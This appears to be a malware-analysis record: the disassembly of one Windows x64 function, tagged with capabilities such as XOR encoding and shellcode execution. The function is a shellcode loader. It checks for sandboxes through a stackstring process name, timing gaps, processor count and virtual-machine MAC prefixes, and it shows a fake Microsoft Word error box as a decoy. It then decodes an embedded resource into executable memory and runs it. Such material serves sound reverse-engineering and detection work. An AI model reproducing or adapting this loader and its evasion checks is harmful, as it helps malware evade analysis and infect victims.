Function at 0x140002950
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get mac address on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14001c048]
xor rax, rsp
mov qword [rbp - 8], rax
mov dword [rbp - 0x30], 0x6f746544
mov dword [rbp - 0x2c], 0x6574616e
mov dword [rbp - 0x28], 0x6578652e
mov byte [rbp - 0x24], 0
lea rcx, [rbp - 0x30]
call fcn.140002890
test eax, eax
setne dil
movdqa xmm0, xmmword [0x140012700]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x65
lea rcx, [rbp - 0x20]
call fcn.140002890
test eax, eax
setne r15b
call fcn.140006f54
mov ebx, eax
nop dword [rax]
call fcn.140006f54
sub eax, ebx
cmp eax, 0x7d0
jl 0x1400029e0
mov r9d, 0x10
lea r8, str.Microsoft_Office
lea rdx, str.Word
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140006f54
mov ebx, eax
call fcn.140006f54
sub eax, ebx
cmp eax, 0xbb8
jl 0x140002a11
xor eax, eax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x48]
call fcn.140002470
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor esi, esi
lea r14d, [rsi + 1]
test eax, eax
je 0x140002a7b
mov ebx, esi
mov ecx, esi
mov rdx, qword [rbp - 0x58]
mov eax, r14d
shl eax, cl
cdqe
test rdx, rax
lea eax, [rbx + 1]
cmove eax, ebx
mov ebx, eax
inc ecx
cmp ecx, 0x20
jl 0x140002a60
jmp 0x140002a7e
mov ebx, dword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
movzx ecx, r15b
xor ecx, r14d
movzx eax, dil
xor eax, r14d
and ecx, eax
mov eax, esi
cmp rdx, qword [rbp - 0x40]
cmovne eax, ecx
test eax, eax
je 0x140002c3c
mov qword [rbp - 0x58], rsi
mov ecx, 0x2c0
call fcn.140002d58
mov rdi, rax
test rax, rax
je 0x140002acb
xor edx, edx
mov r8d, 0x2c0
mov rcx, rax
call fcn.140004880
jmp 0x140002ace
mov rdi, rsi
mov dword [rbp - 0x50], 8
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140002b0c
mov edx, 0x2c0
mov rcx, rdi
call fcn.140002d94
mov ecx, dword [rbp - 0x50]
call fcn.140002d9c
mov rdi, rax
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xor r15b, r15b
test eax, eax
jne 0x140002b23
test rdi, rdi
je 0x140002b60
mov r15, qword [rdi + 0x198]
mov qword [rbp - 0x58], r15
test rdi, rdi
je 0x140002b35
mov edx, 0x2c0
mov rcx, rdi
call fcn.140002d94
test r15b, r15b
jne 0x140002b60
movzx eax, byte [rbp - 0x57]
cmp al, 5
jne 0x140002b4a
cmp byte [rbp - 0x56], 0x69
jne 0x140002b60
jmp 0x140002b63
cmp al, 0xc
jne 0x140002b56
cmp byte [rbp - 0x56], 0x29
jne 0x140002b60
jmp 0x140002b63
cmp al, 0x50
jne 0x140002b60
cmp byte [rbp - 0x56], 0x56
je 0x140002b63
mov r14d, esi
cmp ebx, 2
jbe 0x140002c3c
test r14d, r14d
jne 0x140002c3c
lea r8, [0x140012618]
lea edx, [r14 + 0x66]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r12, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r13, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
call fcn.140004420
test r14d, r14d
jle 0x140002c09
mov rdx, r15
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rdx]
xor cl, byte [0x14001c020]
sub cl, sil
mov byte [rdx], cl
inc esi
lea rdx, [rdx + 1]
cmp esi, r14d
jl 0x140002bf0
lea r9, str.0123456789abcdef
mov r8d, dword [0x14001cb90]
mov rdx, r15
lea rcx, [0x14001cbc0]
call fcn.140001a80
call r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x48]
call fcn.1400023a0
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002e30
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret